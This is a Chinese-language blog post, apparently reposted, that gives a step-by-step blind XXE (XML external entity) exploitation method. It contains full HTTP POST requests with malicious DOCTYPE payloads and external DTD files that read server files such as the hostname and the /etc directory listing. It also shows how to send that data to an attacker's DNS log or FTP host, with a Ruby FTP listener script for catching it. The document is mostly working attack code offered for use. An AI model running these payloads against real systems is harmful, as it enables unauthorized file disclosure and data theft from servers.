blind XXE payload

简单验证

POST /test HTTP/1.1
Content-Type: application/soap+xml
User-Agent: scanner
Accept: */*
Cache-Control: no-cache
Host: 域名
Content-Length: 142
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://dnslog">
%remote;]>
<root/>

接收信息以证明

XML的规范定义中,只有在DTD中才能引用参数实体. 参数实体的声明和引用都是以百分号%。并且参数实体的引用在DTD是理解解析的,替换文本将变成DTD的一部分。
要将信息发出来还需要再自己服务器上构造DTD。

1) 接收单行文件信息(主机名)
发送的POC
POST /test HTTP/1.1
Content-Type: application/soap+xml
User-Agent: scanner
Accept: */*
Cache-Control: no-cache
Host: 域名
Content-Length: 142
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://web服务器/cc.xml">
%remote;]>
<root/>


cc.xml文件
<!ENTITY % file SYSTEM "file:///proc/sys/kernel/hostname">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://%file;.dnslog地址/test'>">
%int;
%send;

这个不太稳定,多发几遍。
发了几十遍出来了几次dns请求。
估计是在读文件拼接发请求处有什么拦截

908893-20190819170337042-1889429824.png

2) 接收多行文件信息
一
发送的POC
POST /test HTTP/1.1
Content-Type: application/soap+xml
User-Agent: scanner
Accept: */*
Cache-Control: no-cache
Host: 域名
Content-Length: 142
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://web服务器/cc.xml">
%remote;]>
<root/>

二
cc.xml文件
<!ENTITY % file SYSTEM "file:///proc/sys/kernel/hostname">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'ftp://你的地址:33/%file;'>">
%int;
%send;

三
再再服务器上监听设定的端口(这里写的是33端口)
vi ftp.rb

require 'socket'
server = TCPServer.new 33
loop do
  Thread.start(server.accept) do |client|
    print "New client connected\n"
    data = ""
    client.puts("220 xxe-ftp-server")
    loop {
        req = client.gets()
        print "< "+req
        if req.include? "USER"
            client.puts("331 password please - version check")
        else
           #puts "> 230 more data please!"
            client.puts("230 more data please!")
        end
    }
    print "\n"
  end
end

ruby ftp.rb

908893-20190819170234209-2121004459.png

列目录的DTD

把文件路径换成文件夹名就能列目录了

<!ENTITY % file SYSTEM "file:///etc/">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'ftp://你的地址:33/%file;'>">
%int;
%send;

908893-20190819172054232-2082626150.png

helps

github监听脚本-ruby
xxe总结
XXE利用

转载于:https://www.cnblogs.com/huim/p/11378208.html

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值